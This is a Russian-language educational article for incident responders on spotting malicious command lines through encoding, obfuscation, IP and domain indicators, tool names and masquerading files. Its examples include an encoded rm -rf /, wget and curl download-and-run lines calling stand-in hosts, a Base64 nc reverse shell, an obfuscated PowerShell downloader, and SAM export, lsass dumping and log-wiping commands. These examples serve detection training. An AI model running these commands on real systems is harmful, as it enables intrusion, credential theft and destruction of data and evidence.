Как читать командную строку: выявляем подозрительные команды
В условиях постоянно меняющегося ландшафта угроз специалисту по кибербезопасности критически важно уметь анализировать телеметрию с конечных точек. В расследованиях инцидентов именно командная строка процесса зачастую выступает основным источником данных — золотым ключиком, который открывает намерения злоумышленника.
Современные атаки все чаще обходят традиционные сигнатурные методы обнаружения. Злоумышленники активно используют легитимные системные утилиты, применяют различные техники обфускации и маскируют вредоносную активность под рутинные административные действия. В результате специалистам по кибербезопасности приходится работать с большими объемами телеметрии, где критически важно быстро отличать аномальное поведение от нормального. В этом материале поделимся подходами, которые без погружения в широкий контекст событий помогают выявлять подозрительные команды по их содержимому.
Чтобы разбираться в том, что происходит в терминале, необходимо понять принципы разбора и исполнения команд. В этом разделе остановимся на основных понятиях, без которых невозможно разобрать работу с командной строкой.
Командная строка выполняется в рабочем каталоге, который влияет на интерпретацию путей к файлам и папкам. Чтобы понять, где именно находятся файлы, важно учитывать особенности указания путей.
Абсолютные пути начинаются с корня файловой системы. Они однозначно указывают расположение файла независимо от текущей директории.
python3 /var/tmp/suspicious_script.py # Linux start "" "D:\1_1\virus.exe" # Windows
Относительные пути указываются относительно текущей рабочей директории. Чтобы вычислить фактическое местоположение файла, нужно знать текущую директорию процесса.
python3 ./suspicious_script.py # Linux start "" ".\virus.exe" # Windows
В примере выше, если в команде указан абсолютный путь к файлу, расположение определяется однозначно, независимо от текущей рабочей директории.
Рассмотрим операторы управления выполнением команд.
Оператор && позволяет выполнить следующую команду, только если предыдущая завершилась успешно (код возврата 0). Например:
mkdir new_folder && cd new_folder
В этом примере сначала создается каталог new_folder. Если создание успешно, команда перейдет в этот каталог. Если что‑то пойдет не так, например каталог уже существует, из‑за чего возникнет ошибка, то перехода в каталог не будет.
Оператор || выполняет следующую команду только при ошибке предыдущей (код возврата не 0). Например:
grep "pattern" file.txt || echo "Строки с указанным шаблоном не найдены"
Если команда grep не найдет совпадений и завершится с ошибкой, в терминал будет выведено сообщение об отсутствии строк с нужным шаблоном.
Разделитель ; в bash указывает на выполнение всех команд подряд независимо от результата. Например:
date; uptime; who
Здесь последовательно выполняются три команды: выводятся текущие дата и время, информация о времени работы системы и список вошедших пользователей. Все команды выполняются независимо друг от друга: если одна из них не сработает, остальные все равно выполнятся.
В Windows (CMD) вместо разделителя ; используется оператор & для последовательного выполнения команды.
Следующий важный элемент командной строки — это операторы перенаправления.
Для записи вывода команды в файл используется оператор >. Например:
ls > out
Эта команда создаст новый файл с именем out или перезапишет существующий, записав в него результат работы команды ls: список файлов и каталогов текущей директории.
Оператор >> позволит добавить вывод команды в конец существующего файла, не удаляя его содержимое. Например:
ls >> out
В этом случае содержимое файла out сохранится, а результат команды ls будет добавлен в конец файла.
Оператор < позволяет передавать содержимое файла на вход команды. Например:
grep "pattern" < file.txt
В этом примере команда grep читает данные из файла file.txt.
Важно понимать, что команды с перенаправлением обрабатываются справа налево. Сначала создается или очищается (в случае >) файл, затем выполняется сама команда, и только после этого происходит запись вывода в файл.
Разберем работу стандартных потоков на конкретном примере. Представьте простейшую программу для сложения двух чисел. Ее алгоритм выглядит так:
- Получить первое число (A).
- Получить второе число (B).
- Вычислить сумму (C = A + B).
- Вывести результат (С) на экран.
При этом программа безоговорочно доверяет вводу и не проверяет валидность данных. В таком случае работа потоков выглядит следующим образом:
| Дескриптор | Наименование | Описание | Пример |
|---|---|---|---|
| 0 |
STDIN |
Стандартный ввод |
Пользователь вводит значения переменных A и B с клавиатуры |
| 1 |
STDOUT |
Стандартный вывод |
Выводится результат вычислений — значение переменной C |
| 2 |
STDERR |
Вывод ошибок |
Пользователь вместо числовых значений ввел текст — программа завершилась с ошибкой |
Чтобы перенаправить потоки в командной строке, используются числовые дескрипторы. Ключевое правило: когда дескриптор является целью перенаправления, перед его номером ставится амперсанд — &. Например, в конструкции 2>&1 мы перенаправляем поток 2 (stderr) туда же, куда сейчас направлен поток 1 (stdout).
Конвейер передачи данных между командами реализуется с помощью оператора | (пайп). Этот оператор позволяет перенаправлять стандартный поток вывода одной команды на стандартный поток ввода другой. Например:
ls -la /etc/ | less
Здесь команда ls -la /etc/ выводит подробный список файлов и каталогов, а команда less принимает этот вывод как вход и отображает его постранично, позволяя удобно прокручивать длинный список. Благодаря пайпу нет необходимости сохранять вывод в файл или запускать команды по отдельности.
Что произойдет, если:
- Попытаться оставить в лог-файле только последние 100 000 строк, перезаписав его собой же.
Ожидание: в файле останутся только последние 100 000 строк лога. Реальность: файл станет пустым. Почему так: оператор
tail -n 100000 /var/log/syslog > /var/log/syslog
>сначала очищает файл, а только потом запускаетtail. Командаtailчитает уже пустой файл и записывает в него пустой вывод. - Записать текущий размер файла в него самого.
Ожидание: в файле
echo "Листинг содержимого директории:" > list_files.txt ; ls -la >> list_files.txt
list_files.txtбудет указан актуальный размер всех файлов, включая его собственный текущий размер. Реальность: если после выполнения командной строки отдельно выполнитьls -la, окажется, что размерlist_files.txt, указанный внутри самого файла, не соответствует реальному. Почему так: командаls -laопределила размер файла до того, как ее собственный вывод был добавлен в конец файла. В результате сначалаlsзафиксировала исходный размер файла (60 байт), затем записала эту информацию в файл. Этот вывод увеличил реальный размер файла, внутри которого остались устаревшие данные.
Командная строка должна вызывать подозрение, когда команда выглядит непонятно. Например, содержит бессмысленные символы, кодировки или странные конструкции.
Чаще всего атакующие преследуют следующие цели.
- Обход примитивных сигнатур.
Пример команды:
Пример SIGMA-правила, которое не сработает:
echo "cm0gLXJmIC8=" | base64 -d | bash # изначальная команда - "rm -rf /"
title: Suspicious rm command execution id: 12345678-90ab-cdef-1234-567890abcdef description: Detect execution of destructive rm -rf / command status: experimental author: Example Author date: 2025-10-01 logsource: product: linux service: auditd detection: selection: CommandLine|contains: 'rm -rf /' # ищет именно такую строку condition: selection level: high tags: - attack.execution - attack.t1485 - Скрытие выполнения вредоносных скриптов. Многострочный скрипт выглядит подозрительно и легко обнаруживается.
Пример скрипта:
Пример закодированной команды:
#!/bin/bash wget http://hacker.com/backdoor -O /tmp/bd chmod +x /tmp/bd /tmp/bd
echo 7767657420687474703a2f2f6861636b65722e636f6d2f6261636b646f6f72202d4f202f746d702f62642026262063686d6f64202b78202f746d702f6264202626202f746d702f6264 | xxd -r -p | sh
- Замедление анализа. Даже если команду обнаружили, понадобится время, чтобы привести строки к исходному и семантически понятному виду.
Пример замаскированной команды:
cmd /v:on /c set "p""ar""t1=h""tt""p://malici""ous.com" & set "p""art2=/evil.exe" & set "cm""d=([string]::Concat('%p""art1%','%p""art2%'));$wc=New-Object Net.WebClient;$tmp=$env:TEMP+'\evil.exe';$wc.DownloadFile($cm""d,$tmp);Start-Process $tmp" & powershell -NoP -NonI -W Hidden -EncodedCommand (powershell -NoP -NonI -Command "$c='%cm""d%';$b=[Text.Encoding]::Unicode.GetBytes($c);$ms=New-Object IO.MemoryStream;$gs=New-Object IO.Compression.GzipStream($ms,[IO.Compression.CompressionMode]::Compress);$gs.Write($b,0,$b.Length);$gs.Close();[Convert]::ToBase64String($ms.ToArray())")
Злоумышленники используют различные методы, чтобы скрыть вредоносные команды от систем защиты. Рассмотрим самые популярные.
Base64
Base64 — это стандарт кодирования двоичных данных в текстовый формат ASCII, использующий 64 символа (латинские буквы A—Z, a—z, цифры 0–9, а также символы + и /). Этот стандарт преобразует данные так, что их можно передавать или хранить в текстовых системах, где двоичные данные напрямую использовать нельзя.
Как выглядит Base64‑преобразование: исходные бинарные данные разбиваются на блоки по 3 байта (24 бита), затем каждые 6 бит сопоставляются с одним из 64 символов. Если количество байтов не кратно 3, в конце используется знак равенства, чтобы привести результат к кратному значению.
Пример командной строки:
echo "bmMgLWUgL2Jpbi9iYXNoIDE4NS4xNjMuMTU5LjUgNDQ0NA==" | base64 -d | bash
Разберем, как декодировать данные с помощью встроенных средств операционных систем.
В Windows можно использовать команды вида:
certutil -decode encoded.txt decoded.txt # cmd
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("bmMgLWUgL2Jpbi9iYXNoIDE4NS4xNjMuMTU5LjUgNDQ0NA==")) # powershell
В первом случае необходимо поместить закодированную строку в файл encoded.txt, а во втором — указать строку непосредственно в терминале.
Аналогичные команды для Linux и macOS:
base64 -d encoded.txt > decoded.txt echo "bmMgLWUgL2Jpbi9iYXNoIDE4NS4xNjMuMTU5LjUgNDQ0NA==" | base64 -d
Также можно воспользоваться онлайн-декодерами. Один из самых популярных и многофункциональных — CyberChef:

После декодирования становится понятно, что это команда для создания обратного шелла. Она устанавливает обратное соединение с сервером злоумышленника и позволяет ему удаленно управлять целевой машиной.
gzip и Base64
gzip — это стандартная утилита для сжатия данных в Unix-подобных системах. gzip и Base64 используют вместе, потому что при кодировании Base64 сохраняется частичная читаемость отдельных фрагментов.
Y3VybCAtcyBodHRwOi8vZXZpbC5jb20veC5zaCB8IGJhc2gK # curl -s hXXp://evil[.]com/x.sh | bash Y3VybCAtZnNTTCBodHRwOi8vbWFsaWNpb3VzLmV4YW1wbGUuY29tL21hbHdhcmUuc2ggfCBiYXNo # curl -fsSL hXXp://malicious.example[.]com/malware.sh | bash Y3VybC # curl BodHRw # http
В этих примерах прослеживаются сигнатуры в кодировке Base64 для подстрок curl и http, которые могут использоваться средствами защиты.
Рассмотрим данные команды, сжатые gzip, а затем преобразованные в Base64.
H4sIAKSjjGgA/wVAUQrAIAi9yrtA+t9tSgYGRjHd6KPDi3yvoTg0Ylfm5x9GsiYfcsVFb64JgzwqDyMAAAA= # curl -s hXXp://evil[.]com/x.sh | bash H4sIAOujjGgA/xXIwQ2AMAgAwFVYQPp3Bn9OgARDE0gbaKMPh2/8Hs8w2O48D9Ax+l6Kk1WubSbKS95NkJv/+lAIpsIHF6Uu8k47vzkAAAA= # curl -fsSL hXXp://malicious.example[.]com/malware.sh | bash
После такого преобразования сложно определить повторяющиеся сигнатуры или команды. gzip сжимает строку в бинарный формат. Base64 преобразует бинарные данные в текстовую строку.
Разберемся, почему строки начинаются с H4sI. Файл, сжатый с помощью gzip, имеет определенную структуру, включающую:
- Magic bytes: первые 2 байта всегда 0×1F 0×8B.
- Метод сжатия: 1 байт (обычно 0×08 для deflate).
- Флаги: 1 байт.
- Прочие заголовки (время, дополнительные флаги, имя файла и т. д.).
Если взять первые 3 байта gzip (0×1F 0×8B 0×08) и закодировать их в Base64, в бинарном виде получится: 00011111 10001011 00001000.
Разбиваем на 6‑битные группы:
- 000111 → H (7).
- 111000 → 4 (56).
- 101100 → s (44).
- 001000 → I (8).
Получается, что H4sI — это сигнатура gzip, закодированная с помощью Base64 при стандартных настройках.
Рассмотрим, как определить исходную команду. В Unix‑подобных операционных системах проще всего это сделать с помощью команды вида:
echo "H4sIAKSjjGgA/wVAUQrAIAi9yrtA+t9tSgYGRjHd6KPDi3yvoTg0Ylfm5x9GsiYfcsVFb64JgzwqDyMAAAA=" | base64 -d | gunzip -c
Также можно использовать CyberChef:

Эта команда загружает скрипт x.sh с сайта evil[.]com и сразу выполняет его в bash.
Если после декодирования Base64 и распаковки gzip в выводе содержатся нечитаемые символы (бинарные данные, «мусор») или отсутствует понятный текст, вероятнее всего, исходные данные были:
- исполняемым файлом (например,
.exe,.elf,.dll), - сжатым бинарным форматом (например,
.zip,.tar), - зашифрованными данными.
Чтобы определить тип файла, можно использовать соответствующий рецепт CyberChef:

Файл соответствует формату Windows PE (portable executable). Формат определяется по уникальной последовательности в начале файла (magic bytes). Его идентификация основана на стандартной сигнатуре: байты MZ (0×4D 0×5A) служат маркером начала файла, а последующий заголовок PE (0×50 0×45 0×00 0×00) окончательно подтверждает принадлежность к формату. В частности, подстроки MZ и PE можно увидеть на первом скрине ниже.
Для идентификации других файлов по magic bytes используйте специализированные ресурсы. Отличным инструментом служит таблица файловых сигнатур, которую поддерживает Гэри Кесслер.
Также в CyberChef есть возможность сохранить указанный файл на диск для дальнейшего анализа, посмотреть его строки или вычислить его хеш:



Чтобы проверить файл на вредоносность, можно использовать сервисы вроде VirusTotal. Они анализируют хеш или содержимое файла через антивирусные базы. Однако, если требуется глубокая аналитика (например, выяснить, связан ли файл с деятельностью конкретных кластеров, использовался ли в известных атаках), нужны продвинутые платформы, например портал BI.ZONE Threat Intelligence.
Такие сервисы не только определяют вредоносность, но и показывают, с какими кластерами активности ассоциируется файл, в каких операциях он применялся и какие при этом использовались тактики. Эта информация помогает понять контекст угрозы: является ли файл частью целевой атаки, массовой кампании или инструментом определенной группировки злоумышленников.
Hex
Hex (шестнадцатеричное) кодирование — это представление данных или команд в виде последовательности символов шестнадцатеричной системы счисления, где каждые два символа обозначают один байт.
echo 7767657420687474703a2f2f6861636b65722e636f6d2f6261636b646f6f72202d4f202f746d702f62642026262063686d6f64202b78202f746d702f6264202626202f746d702f6264 | xxd -r -p | sh
Чтобы определить исходную команду, в Unix‑подобных операционных системах можно использовать команды вида:
echo 7767657420687474703a2f2f6861636b65722e636f6d2f6261636b646f6f72202d4f202f746d702f62642026262063686d6f64202b78202f746d702f6264202626202f746d702f6264 | xxd -r -p xxd -r -p encoded.hex > decoded.out
В Windows — утилиту certutil:
certutil -decodehex encoded.hex decoded.out

Эта команда скачивает вредоносный файл — бэкдор — с сайта hacker[.]com, сохраняет его в /tmp/bd, предоставляет права на исполнение и сразу запускает.
Каждый человек, который только начинает разбираться в анализе данных, сталкивается с тем, что не может определить кодировку. Разобраться, какое кодирование или сжатие было применено к строке, помогает рецепт Magic в CyberChef. Он автоматически перебирает десятки самых популярных алгоритмов и пытается применить их к вашим данным. Затем показывает список наиболее вероятных вариантов расшифровки:

Depth = 1 — попробует применить один алгоритм (например, декодирует из Base64).
Depth = 2–3 — позволит интерпретировать данные, которые были преобразованы несколько раз (например, из Base64 в gzip).
Рецепт Magic не всегда определяет алгоритм абсолютно точно, особенно если данные сильно изменены или зашифрованы. Но в большинстве случаев дает отличную точку для дальнейшего анализа.
Обфускация — это процесс преобразования исходных команд в вид, который сохраняет их функциональность, но значительно затрудняет понимание и анализ этих команд.
Пример командной строки:
p1="ht"; p2="tp"; p3="://"; d1="ex"; d2="am"; d3="ple"; d4=".co"; d5="m"; url="$p1$p2$p3$d1$d2$d3$d4$d5/"; file1="sc"; file2="ript"; file3=".sh"; full="$url$file1$file2$file3"; bash <(curl -s $full)
В этой команде демонстрируется сборка команд из частей. Техника заключается в том, что вредоносная команда или скрипт формируется из множества маленьких фрагментов.
Если разобрать все отдельные переменные, в которых содержатся фрагменты команды, получим строку:
bash <(curl -s http://example.com/script.sh)
Это конструкция под названием Process Substitution в bash. Обозначается как <(...). Она превращает вывод команды в виртуальный файл, который можно передать любой другой команде, ожидающей путь к файлу. В нашем случае команда позволяет скачать из интернета и сразу выполнить bash‑скрипт, не сохраняя его на диск.
Разберем другой пример:
rEg \"e\"xP\"o\"rT HK\"L\"M\\S\"A\"M ouT.ReG
Вот что здесь происходит:
- Регистры символов в команде изменены произвольно: большие буквы стали маленькими и наоборот (командная строка Windows не чувствительна к регистру).
- Вставлены лишние кавычки внутри слов, которые командный интерпретатор игнорирует при выполнении.
- Пробелы и слеши оставлены, но часть символов выделена кавычками, что делает команду менее читаемой.
После очистки строка становится такой:
reg export HKLM\SAM out.reg
Эта команда предназначена для экспорта раздела реестра Windows в файл. Экспорт раздела SAM представляет потенциальную угрозу безопасности, если выполняется злоумышленником, так как может раскрыть чувствительную информацию, например хеши паролей.
Существует множество примеров обфускации. Методы могут комбинироваться в одной командной строке, что значительно усложняет чтение и автоматический анализ команды.
Что делать дальше, когда удалось декодировать команду и распознать обфускацию? Один из первых и самых заметных индикаторов, на который стоит обратить внимание, — IP‑адреса.
Могут быть признаком связи с командно‑контрольным центром (C2). Цель злоумышленника — получить управление или выгрузить данные на внешний сервер. Особенное внимание стоит уделять внешним IP‑адресам, которые используются в связке с утилитами для скачивания и выполнения веб‑запросов, такими как curl и wget. А также IP‑адресам, которые передаются в качестве аргументов к неизвестному бинарному файлу.
Жесткая привязка к IP‑адресу в командной строке часто свидетельствует о негибком или наспех написанном коде, что может быть характерно для вредоносного ПО. Легитимные приложения обычно используют более надежные и гибкие механизмы, такие как DNS‑имена, конфигурационные файлы или системные API для разрешения адресов.
Назначаются из диапазонов 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 и соответствуют локальным хостам в сети. Требуют анализа контекста.
Обращение к шлюзу 192.168.1.1 — не обязательно подозрительная активность, это может быть легитимной сетевой диагностикой. Но, если процесс из временной папки %TEMP% пытается подключиться к 172.16.42.131, это уже подозрительно. Необходимо понимать, должен ли этот процесс взаимодействовать с указанным хостом, а также сценарии такого взаимодействия.
Вручную изучить гигабайты логов сложно, лучше использовать инструменты вроде CyberChef для быстрого анализа. На скрине ниже видно, что в истории команд фигурируют три публичных IP‑адреса:

Посмотрим на контекст использования этих IP‑адресов:

Команда выполняет запрос к DNS‑серверу с IP‑адресом 8.8.8.8 (это публичный DNS‑сервер Google), чтобы получить DNS‑запись домена example.com. Выглядит не подозрительно, смотрим дальше:

Понимаем, что это классический пример компрометации системы: злоумышленник загружает и выполняет вредоносный скрипт, крадет конфиденциальные данные и конфигурационные файлы, а также закрепляется в системе с помощью cron — планировщика заданий для удаленного управления зараженной машиной.
Рассмотрим следующий IP‑адрес:

Это набор команд, типичный для вредоносного ПО, обеспечивающего удаленное управление скомпрометированной системой. Отправка данных на сервер (например, регистрация статуса status-active) и регулярные проверки состояния (/healthcheck, /api/v1/status) свидетельствуют о поддержании связи компьютера жертвы с C&C‑сервером. Выполнение запросов с авторизацией и специфическими заголовками (user‑agent, токены доступа) позволяет организовать управление и фильтрацию команд, что типично для вредоносных сетей. Загрузка системных файлов на FTP — опасное поведение, указывающее на попытку кражи данных или сбора информации о системе.
Необходимо проверить найденные индикаторы компрометации: 162.243.103[.]246 и 164.90.222[.]65. Не пренебрегайте самым доступным инструментом — обычным поиском. Иногда достаточно ввести подозрительный IP‑адрес в Google или «Яндекс», чтобы обнаружить, что он уже фигурирует в отчетах о кибератаках или внесен в черные списки. Это нулевой этап проверки, который может мгновенно дать ответ и сэкономить время. Если быстрый поиск не дал результатов или требуется более глубокий анализ, на помощь приходят специализированные платформы.
Домены предоставляют злоумышленникам гибкую инфраструктуру для атак. С помощью доменов можно динамически генерировать адреса командных центров, имитировать легитимные сервисы или скрываться в нестандартных доменных зонах.
Основной метод — постоянная смена доменов. Вредоносное ПО использует алгоритмы генерации доменных имен (DGA), которые создают тысячи псевдослучайных вариантов в день, что делает традиционные черные списки неэффективными.
Примеры доменов:
client0345.update-service[.]live jsh47sjdfn.cloudfront[.]net bruuorsrgx[.]me kbyjydtucestbi[.]ru xkjhf83j.duckdns[.]org
Цель использования DGA‑доменов — затруднить блокировку. Средства защиты не успевают заблокировать миллионы возможных вариантов. Такие имена выглядят как случайный шум и сразу бросаются в глаза при анализе логов.
Анализ WHOIS‑данных DGA‑домена почти всегда выявляет ряд аномалий, которые нехарактерны для легитимных проектов:
- Свежая дата регистрации. Большинство DGA‑доменов регистрируются перед их использованием и живут недолго (часы или дни).
- Анонимность или массовый регистратор. Данные регистранта (owner) почти всегда скрыты сервисами анонимности (WhoisGuard, Privacy Protect, Domains By Proxy) или вымышлены.
- Бесплатные автоматизированные SSL‑сертификаты. Это характерно для массовой и скоротечной природы таких доменов, показательным индикатором является использование центра сертификации Let’s Encrypt.
- Wildcard‑сертификаты для масштабирования. Они реализуются через поле Subject Alternative Name (SAN) и выглядят как сертификат с записью вида
*.example.comв этом поле. - Однообразие и шаблонность. Обнаружение в логах нескольких подозрительных случайных доменов, чьи WHOIS‑данные совпадают (одинаковый регистратор, одинаковые анонимные данные, близкие даты регистрации), указывает на их происхождение от одного DGA‑алгоритма.
- Минимальный срок регистрации. DGA‑домены обычно регистрируются на минимально возможный срок (1 год), так как являются расходным материалом и не предназначены для длительного использования.
Этот метод рассчитан на невнимательность человека, который бегло просматривает логи. Легитимный и вредоносный домен могут отличаться лишь несколькими символами. Примеры доменов:
micr0soft[.]com, g00gle-analytics[.]com # замена букв на цифры update-microsoft[.]online, windows-security-alert[.]com # добавление лишних слов play-station[.]com, master-card[.]com # добавление дефиса gogle[.]com, youtue[.]com # пропуск символа applee[.]com, amazoon[.]com # добавление лишнего символа microsotf[.]com, eaby[.]com # неправильный порядок букв
Нужно всегда внимательно анализировать домен и сравнивать его с легитимным именем. CyberChef с операцией Diff может визуально подсветить отличия:

В DFIR‑расследованиях домены в нестандартных TLD (.xyz, .top, .cc) давно стали индикатором атак. У их использования есть экономическая логика — стоимость. Для злоумышленника, создающего одноразовую инфраструктуру, есть разница между 10–15 долларами за .com и 1–3 долларами за .xyz. Более дешевую инфраструктуру проще масштабировать.
Условно стандартные (вызывающие больше доверия) домены:
- Классические общие зоны (gTLD): .com, .net, .org.
- Национальные домены (ccTLD) развитых стран: .ru (Россия), .kz (Казахстан), .de (Германия), .uk (Великобритания), .ca (Канада), .au (Австралия), .fr (Франция) и т. д.
Условно нестандартные (часто вызывающие подозрение) домены:
- Новые и дешевые общие зоны (new gTLD): .xyz, .top, .club, .site, .online, .icu, .cyou, .gq, .ml, .cf, .tk.
- Национальные домены развивающихся стран (их активно продают нерезидентам): .cc (Кокосовые острова), .tv (Тувалу), .io (Британская территория в Индийском океане), .bz (Белиз), .pw (Палау).
Стоит подчеркнуть, что существует много легальных проектов в зонах .top, .cc, .xyz, но легитимный бизнес редко использует их для критических сервисов.
Анализ доменной зоны — вспомогательный, а не основной признак, полагаться только на него ошибочно. Злоумышленники могут регистрировать домены в стандартных и доверенных зонах, чтобы их инфраструктура выглядела максимально правдоподобно.
Чтобы извлечь домены из логов для последующего анализа, эффективно использовать CyberChef:

Посмотрим командные строки, в которых упоминается этот домен:

Активность выглядит как автоматизированное взаимодействие с сервером wheelprom[.]ru. Сначала происходит проверка статуса сервера и отправка информации о состоянии узла (status, sync с параметром state=online). Затем выполняется загрузка и запуск удаленного агента (agent-connect), что может указывать на установку управления на сервере. Также есть отправка уведомлений (notify?action=restart_done) и загрузка архива с логами веб‑сервера на FTP‑сервер.
Многие инструменты злоумышленников имеют характерные имена, которые становятся уникальной сигнатурой. Теоретически файлы можно переименовать, но в большинстве инцидентов они остаются с оригинальными названиями, особенно в автоматизированных или массовых атаках. Это позволяет быстро идентифицировать угрозу даже по первичным признакам, без глубокого анализа.
Для систематизации поиска такие файлы можно классифицировать по трем основным категориям.
К средствам системного администрирования относятся как привычные административные утилиты вроде PsExec или AnyDesk, так и встроенные компоненты операционных систем (living off the land binaries, LOLBins). О LOLBins подробно расскажем в отдельной статье. Сейчас сосредоточимся на административных утилитах, которые особенно часто попадают в руки атакующих.
Ключевой принцип: само по себе присутствие этих утилит в системе не доказывает вредоносную активность. Они созданы для легитимных целей. О злонамеренности говорит контекст их использования: расположение файла, цифровая подпись, время, как давно файл появился на хосте, аргументы командной строки, роль пользователя, время запуска и команда, которая инициировала выполнение файла.
В качестве примера рассмотрим набор утилит Sysinternals и их вредоносное использование.
PsExec часто используется атакующими для горизонтального перемещения в сети, удаленного выполнения команд и распространения вредоносного ПО на другие компьютеры в корпоративной среде.
psexec \\dc-backup -s -d schtasks /create /tn "WindowsUpdateService" /tr "C:\temp\backdoor.exe" /sc onstart
Команда выше использует PsExec для удаленного подключения к целевому серверу (dc-backup) и создания на нем задачи планировщика с вредоносной нагрузкой.
ProcDump — легитимный отладчик для создания дампов памяти процессов. В руках злоумышленника превращается в мощный инструмент для кражи чувствительных данных.
procdump -accepteula -ma lsass.exe C:\Users\Public\Documents\lsass_dump.dmp
Команда выше принудительно создает полный дамп памяти процесса lsass.exe (local security authority subsystem service). Этот системный процесс является критически важным для безопасности Windows, поскольку в его памяти хранятся:
- хеши паролей всех пользователей, когда‑либо выполнявших вход в систему;
- текстовые пароли (в незашифрованном виде), если в системе включена опция «Кеширование паролей WDigest»;
- билеты Kerberos, которые используются для аутентификации в доменной среде;
- данные сеансов LSA (local security authority).
Получив файл дампа, злоумышленник переносит его на свою машину, где у него больше свободы для анализа. На этом этапе используются специализированные утилиты, такие как Mimikatz.
SDelete — утилита для безвозвратного удаления данных. Используется киберпреступниками на финальном этапе атаки, чтобы стереть следы своего присутствия и затруднить расследование.
sdelete -p 3 -s -q C:\Windows\System32\winevt\Logs\
Команда выше предназначена для полного и необратимого уничтожения всех журналов событий Windows. Стирает записи о запуске вредоносных программ, неудачных попытках входа в систему и других аномальных событиях.
Другой пример административных утилит — сетевые сканеры. Легитимные инструменты для аудита сетей, такие как Nmap или Advanced IP Scanner, в руках злоумышленника превращаются в оружие для разведки внутренней сети организации‑жертвы, поиска уязвимых служб и открытых портов на других машинах. Чтобы собрать больше данных, атакующие часто используют агрессивные варианты сканирования. Рассмотрим на примере Nmap.
Основные флаги, на которые нужно обращать внимание:
| Флаг | Назначение | Описание |
|---|---|---|
| -A |
Комплексный аудит |
|
| -sV |
Определение версий сервисов |
Помогает выявить устаревшее или уязвимое ПО, что облегчает выбор эксплоитов |
| -T4 |
Ускоренное сканирование |
Устанавливает более агрессивный темп сканирования, уменьшая задержки между запросами. Это ускоряет работу сканера, но увеличивает вероятность быть замеченным средствами защиты. Такое сканирование чаще применяют атакующие, чем системные администраторы |
-p- -p 1-65535 |
Проверка всех портов |
Помогает обнаружить скрытые, нестандартные или редко используемые сервисы, которые могут быть пропущены при обычном сканировании |
| --script |
Тестирование безопасности с помощью скриптов |
Является прямым индикатором подготовки к атаке, так как проверяет безопасность целевой системы |
Для глубокого анализа угроз и расследования инцидентов удобно использовать специализированные платформы, такие как портал BI.ZONE Threat Intelligence. Информация о легитимных утилитах содержится в разделе Tools («Легитимность» → Tool).


В отличие от легитимных утилит, это программное обеспечение создано для кибератак, тестирования на проникновение и разведки. А также есть комплексные платформы для атаки и узкоспециализированные утилиты для конкретных вредоносных задач.
Примеры фреймворков:
- Mythic — платформа для управления вредоносными программами и координации их действий во время тестирования на проникновение и моделирования угроз.
- Metasploit — один из самых известных фреймворков для тестирования на проникновение, включает множество эксплоитов, сканеров, инструментов для обнаружения уязвимостей и проведения атак.
- Cobalt Strike — платформа, изначально созданная для имитации атак и проведения red teaming, предоставляет средства для социальной инженерии, работы с бэкдорами и управления скомпрометированными машинами.
Фреймворки широко применяются специалистами по кибербезопасности для легитимных тестов на проникновение, оценки защищенности инфраструктуры и моделирования реальных атак с целью повысить уровень безопасности компаний. Но благодаря своей функциональности и гибкости эти же инструменты могут использоваться злоумышленниками для эксплуатации уязвимостей и организации кибератак.
Примеры узкоспециализированных утилит:
- Mimikatz — популярный инструмент для извлечения учетных данных, позволяет получать пароли, хеши, токены аутентификации, используется для повышения привилегий и распространения внутри сети после первичного проникновения.
- GSocket — используется для туннелирования трафика, обхода межсетевых экранов и организации скрытых каналов связи с зараженными системами.
- Chisel — предназначена для обхода сетевых ограничений и фильтров, облегчает скрытый доступ к внутренним сервисам через прокси или NAT.
Эти утилиты решают узкоцелевые задачи, что делает их незаменимыми как для пентестеров, так и для злоумышленников.
Информация о специализированном мошенническом программном обеспечении систематизирована на портале BI.ZONE Threat Intelligence («Легитимность» → HackTool):


Многое широко распространенное вредоносное ПО активно циркулирует в открытом доступе. Это ВПО используют и начинающие, и опытные злоумышленники. Поскольку такие вредоносные программы часто скачиваются и запускаются без модификации, они сохраняют свои оригинальные, характерные имена. По ним можно быстро идентифицировать угрозу.
Примеры характерных имен файлов:
RedLine.exe— одно из самых распространенных имен для стилера RedLine.Xmrig.exe— майнер для добычи криптовалют (например, Monero).Locky.exe— известный шифровальщик‑вымогатель.
Если файл был переименован, определить его вредоносность можно по другим признакам.
Информация о вредоносном программном обеспечении содержится на портале BI.ZONE Threat Intelligence в разделе Malware:


Рассмотрим случаи, когда ВПО выдает себя за системный файл. Основная цель злоумышленников при маскировке вредоносных файлов под системные — повышение живучести ВПО в системе за счет обхода человеческого фактора. Системные процессы (svchost.exe, lsass.exe) не вызывают подозрений при беглом просмотре в диспетчере задач.
Злоумышленники маскируют вредоносные файлы под системные, используя два основных подхода:
- Полное совпадение имени файла (например,
svchost.exe). - Похожее, но измененное имя файла (например,
svch0st.exe).
При втором подходе изменение имени файла помогает обойти сигнатурные механизмы (которые ищут точное совпадение) и ввести в заблуждение администраторов (человек может не заметить подмену). Обнаружение файлов с немного измененным, но похожим на легитимный системный файл именем, является индикатором вредоносной активности.
Примеры подмены символов:
| Наименование оригинального файла | Наименование вредоносного файла | Метод подстановки |
|---|---|---|
svchost.exe |
|
Замена o на 0 |
lsass.exe |
|
Замена l (строчная L) на I (заглавная i) |
explorer.exe |
|
Замена l на 1 |
systemd |
|
Замена e на 3 |
bash |
|
Замена a на 4 |
Если системный файл полностью совпадает по имени с системным, нужно обращать внимание на директорию, в которой расположен файл. Чтобы обнаружить нетипичную директорию, можно использовать специализированные сервисы, такие как xCyclopedia:
C:\Users\Admin\Downloads\services.exe


Для этого файла типично расположение в C:\Windows\System32. Указанный в примере файл располагается в загрузках пользователя по нетипичному для него пути. Это свидетельствует о вредоносном характере активности.
Нелегитимность файла можно распознать по его расположению, особенно в случае с временными и общедоступными каталогами. Такие папки традиционно служат перекрестком для множества приложений, сервисов и различных пользователей, что делает их удобным местом для скрытого хранения и запуска вредоносного кода. Также есть и другие причины:
- Низкий уровень контроля: меньше ограничений по сравнению с системными директориями.
- Широкие права доступа: многие пользователи, процессы могут записывать и исполнять файлы.
- Сложность анализа: в отличие от сервисных директорий, само по себе наличие файла в этих папках не говорит о его вредоносности. Легитимные приложения и пользователи также используют эти каталоги.
Linux:
/tmp— стандартная временная директория, обычно очищается при перезагрузке системы./var/tmp— временное хранилище данных, файлы сохраняются между перезагрузками.- Общедоступные папки по умолчанию отсутствуют.
macOS:
